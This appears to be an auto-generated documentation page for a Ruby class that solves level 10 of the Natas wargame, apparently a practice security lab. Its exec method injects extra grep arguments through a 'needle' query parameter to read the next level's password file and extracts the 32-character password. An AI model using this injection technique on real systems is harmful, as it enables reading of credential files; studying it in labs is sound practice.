class NatasLevel10

Level 10

Constants

LEVEL

Public Instance Methods

exec() click to toggle source
# File lib/natas.rb, line 317
def exec
  data = get(
    "/?#{URI.encode_www_form(
      {
        'needle' => "'' -m 1 #{WEBPASS}/natas11"
      }
    )}"
  ).body
  match = /natas11:(\w{32})\n/.match(data)
  not_found unless match
  found(match[1])
end